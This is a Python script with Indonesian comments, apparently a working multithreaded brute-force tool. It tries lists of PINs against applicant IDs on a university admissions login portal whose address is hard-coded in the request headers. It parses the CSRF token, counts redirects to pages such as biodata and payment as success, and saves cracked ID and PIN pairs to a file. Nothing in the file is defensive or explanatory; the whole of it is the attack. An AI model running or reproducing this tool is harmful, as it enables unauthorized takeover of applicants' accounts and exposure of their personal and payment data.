import requests from bs4 import BeautifulSoup from concurrent.futures import ThreadPoolExecutor import argparse # Membaca file TXT ke dalam daftar def load_data(file_path): try: with open(file_path, "r") as file: data = file.read().splitlines() # Membaca setiap garis return data except FileNotFoundError: print(f"File {file_path} tidak ditemukan.") return [] # Fungsi untuk login dengan cookies baru def validate_login_new_cookies(url, id_pendaftar, pin): try: # Buat session baru untuk setiap percobaan session = requests.Session() # Step 1: Lakukan request awal untuk mengambil cookies atau token response_initial = session.get(url) if response_initial.status_code != 200: print(f"Gagal melakukan request awal untuk ID: {id_pendaftar}") return False # Jika ada token atau elemen lain di halaman login yang dibutuhkan, kita bisa parse dengan BeautifulSoup soup = BeautifulSoup(response_initial.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] if soup.find('input', {'name': '_token'}) else None # Step 2: Siapkan data login data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token if token else "DEFAULT_TOKEN" # Gunakan token jika ada } # Step 3: Kirim POST request dengan cookie bersih dan header yang sesuai headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'en-US,en;q=0.9', 'Referer': 'https://pmb.hangtuah.ac.id/login', } response = session.post(url, data=data_login, headers=headers, allow_redirects=False) # Periksa status login berdasarkan respons dengan banyak opsi redirect valid_redirects = [ "/biodata", "/administrasi", "/nilai-rapor", "/finalisasi", "/pembayaran", "/seleksi", "/hasil-seleksi", "/daftar-ulang" ] if response.status_code == 302 and "Location" in response.headers: location = response.headers["Location"] if any(redirect in location for redirect in valid_redirects): return True return False except Exception as e: print(f"Terjadi kesalahan: {str(e)}") return False # Fungsi untuk mencoba login pada satu ID Pendaftar def process_single_user(url, id_pendaftar, pins, berhasil_file, gagal_file): print(f"Memproses ID Pendaftar: {id_pendaftar}") for pin in pins: print(f" Mencoba PIN: {pin}") if validate_login_new_cookies(url, id_pendaftar, pin): print(f" Login berhasil dengan PIN: {pin}") with open(berhasil_file, "a") as file: file.write(f"{id_pendaftar} : {pin}\n") return # Berhenti mencari jika login sudah berhasil # Jika semua PIN gagal print(f" Login gagal untuk ID Pendaftar: {id_pendaftar}") with open(gagal_file, "a") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok\n") # Fungsi untuk memproses banyak login (dengan threading) def process_logins(pendaftar_file, pin_file, url, berhasil_file, gagal_file, max_threads): id_pendaftar_list = load_data(pendaftar_file) pins = load_data(pin_file) if not id_pendaftar_list: print("Tidak ada ID Pendaftar yang bisa diperiksa.") return if not pins: print("Tidak ada PIN yang bisa diuji.") return # Bersihkan file hasil #open(berhasil_file, "w").close() #open(gagal_file, "w").close() with ThreadPoolExecutor(max_threads) as executor: futures = [ executor.submit(process_single_user, url, id_pendaftar, pins, berhasil_file, gagal_file) for id_pendaftar in id_pendaftar_list ] # Menunggu semua threads selesai for future in futures: future.result() print("Proses selesai.") # Main Function dengan Argparse if __name__ == "__main__": parser = argparse.ArgumentParser(description="Script Login Multithreaded") parser.add_argument("-p", "--pendaftar_file", required=True, help="Path ke file daftar Pendaftar") parser.add_argument("-pfile", "--pin_file", required=True, help="Path ke file daftar PIN") parser.add_argument("-url", "--url_login", required=True, help="URL untuk login") parser.add_argument("-t", "--threads", default=5, type=int, help="Jumlah thread yang digunakan") parser.add_argument("-b", "--berhasil_file", default="berhasil.txt", help="File output untuk login berhasil") parser.add_argument("-g", "--gagal_file", default="gagal.txt", help="File output untuk login gagal") args = parser.parse_args() # Jalankan fungsi utama process_logins( pendaftar_file=args.pendaftar_file, pin_file=args.pin_file, url=args.url_login, berhasil_file=args.berhasil_file, gagal_file=args.gagal_file, max_threads=args.threads, )